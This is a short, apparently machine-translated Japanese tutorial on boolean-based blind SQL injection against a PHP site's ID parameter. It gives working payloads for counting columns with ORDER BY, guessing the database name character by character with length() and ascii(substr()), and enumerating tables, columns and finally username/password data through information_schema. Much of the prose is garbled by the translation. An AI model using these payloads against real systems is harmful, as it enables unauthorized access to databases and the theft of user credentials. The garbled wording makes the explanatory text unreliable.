ブラインド注意の原則に
注射は盲目であることが判明したと、米国の前にサイトを見つけるために、単にブラインドの原則について話しています。
ステップ
1.xxx.com/index.php?ID=79単一引用符、この位置誤差、および直接エラーメッセージを与える:
彼の時計はカタログで、単一引用符が閉じていることを知っています。
SQL: SELECT *FROM catalog WHERE ID = '79''
クローズする2.試み、入力「 -ページの後に+が通常の状態に戻ります。
3. [スタート]フィールドを推測します。
エントリー
ID=79' order by 5--+
教科書のエラーが返されます。
エラーメッセージは、5番目のフィールドではありません。
Unknown column '5' in 'order clause'
入力しようとし続けます
ID=79' order by 4--+
表の4つのフィールド現在存在することを示し、正常に戻る
4.ビューリターン情報
入力:
ID=79' select 1,2,3,4 --+
多くの時間が任意の情報を表示するので、ブラインドをしようとしませんしようとしました。
ここで、彼の名前は、テーブルの外になっているが、私は他のテーブルを見て選びました。だから、ゼロからスタートします。
入力:
ID=79' and length(database())>10 --+
彼のデータベース名は、エラーが返され、10以上である見る
、テストを継続し、通常より9以上に復帰する際に
識別するために継続して
入力を:
ID=79' and length(database())=10 --+
ファイナライズ彼のデータベース名は、10文字です
5.データベース名は、と推測し始めた
最初の最初の文字があることを推測
アスキーテーブル開かれた
データベース名をzにからでなければなりません
タイプ:
ID=79' and ascii(substr(database(),1,1))>122 --+
データベースASCIIコード超える122の最初の文字は、エラーが返された場合
、オプションは、50以上か否かを、trueを返す決定されます。続行
75より大きい場合、真を返す
データベースASCIIコード値が正常に戻る115の最終測定最初の文字を。
115秒に相当します。したがって、最初の文字データベースはSです。
第2の文字のASCIIコード101、eと文字をASCII文字に対応するコードと同様にして試験しました。
上記の方法では、沈降性と呼ばれる最終のメジャーデータベース
次のバースト・テーブル
and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0--+
私のためのペイロードは、この鶏料理は、我々はローカルのMySQL環境に見て、良い直感的な理解ではありません。
入力:
select table_name from information_schema.tables where table_schema=database()
これは、現在のデータベースのテーブル名に直接表示されます。
ペイロード表示を入力した後、複数の行を返す
次に制限パラメータ使用
limit0,1 - >データの最初の行
limit1,2 - >は、データの第2行
テーブルの行となるように。
入力:
and ascii(substr((select table_name from information_schema.tables where table _schema=database() limit 0,1),1,1))>0 --+
解釈:最初の文字のASCIIコードのリストが0より大きい返すかどうか
など、最初の表、第二のテーブルに来ます。
7.バーストフィールド
and ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>0
8.爆発的なコンテンツ
and ascii(substr((select username,password from xxxx limit 0,1),1,1))>0
上記同様の原理。
終わり。
最後に、オーストリア、私は兄が言っ願ってしまうという問題があります。